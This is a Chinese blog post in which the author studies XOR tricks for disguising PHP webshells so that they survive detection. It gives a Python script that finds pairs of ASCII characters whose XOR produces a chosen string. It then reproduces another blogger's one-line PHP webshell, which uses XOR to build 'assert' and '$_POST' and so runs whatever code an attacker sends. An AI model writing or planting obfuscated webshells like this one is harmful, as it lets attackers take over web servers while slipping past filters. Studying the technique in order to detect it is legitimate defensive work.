Python string XOR

Last updated on a year ago

这几天即刻群里的师傅们都讨论PHP shell如何改装从而存活下来,由于自己太菜只能,默默的听大佬们讨论不敢吱声 ~ Orz
听大佬们讨论,什么用fopen加载txt里php,xorStr 然后组合之类,听得我一脸懵逼的 0.0 特别是xor,完全不知道那是什么,去查了下php的手册,看完后对于php烂成没模样的我来说更加懵逼了~

后面在九世师傅的Blog翻到一篇 No character shell study

后面在九世的Blog翻到一篇 No character shell study

异或运算是指,取每个字符的ASCII,转成二进制再做运算,运二进制算结果转成ASCII,然后再转成字符串

看到这个,才算数明白了些。但是,怎么知道哪些字符串进行异或运算后会得到我想要的新的字符串呢?于是Google了一波,找到了【通过查ASCII表的符合和字符的异或,打印出所有可能的组合】的py脚本,把轮子扣下来小小修改了一下,唔,very good,这就是我想要的。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# -*- coding: utf-8 -*-

str1_AScII = range(32, 127)
str2_AScII = range(32, 127)
result_ASCII = range(32, 127)
print("[-] Waiting for create the dicts...")
dict_key = []
dict_value = []

for i in str1_AScII:
for j in str2_AScII:
if i ^ j in result_ASCII:
dict_key.append((i, j, chr(i), chr(j)))
dict_value.append(chr(i ^ j))

dicts = dict(zip(dict_key, dict_value))
print("[+] OK,The dicts is create")

YourStr = input("[-] Enter the string to be XORed: ")
print("\n[-] YourStr is : %s\n" % (YourStr))

for i in YourStr:
count = 5
print("============ " + "[" + i + "]" + " Can following composition ========")
for k, v in dicts.items():
if count != 0: # 只遍历输出前五个异或结果
if v == "%s" % i:
if (k[0] in result_ASCII) and (k[1] in result_ASCII):
print('"%s" ^ "%s"' % (k[2], k[3]))
count -= 1
else:
continue

然后开始看着轮子造轮子。

然而,想造个好点的轮子,php太菜了弄了半天没弄出来,就弄了个最简单的一句话xor (晕)。。。。。。。

这里有个bug,拿九世师傅的造的小马,在本地环境上居然跑不起来,PHP直接是报错的。。。从此对php的好感又降了一级。 :P不知道是不是环境的问题,等后面再看了。

附上九世师傅的:

1
2
3
4
5
6
<?php
$_0 = ("!"^"@").("3"^"@").("3"^"@").("%"^"@").("2"^"@").("4"^"@"); /*assert*/
$_1 = '_'.(hex2bin("10")^"@").(hex2bin("0F")^"@").(hex2bin("13")^"@").(hex2bin("14")^"@");
$_2 = $$_1;
$_0($_2[_]);
?>

Python string XOR
https://guosec.online/posts/b5a2e443.html
Posted on
January 19, 2019
Updated on
September 16, 2022
Licensed under
本博客所有文章除特别声明外,均采用  协议,转载请注明出处!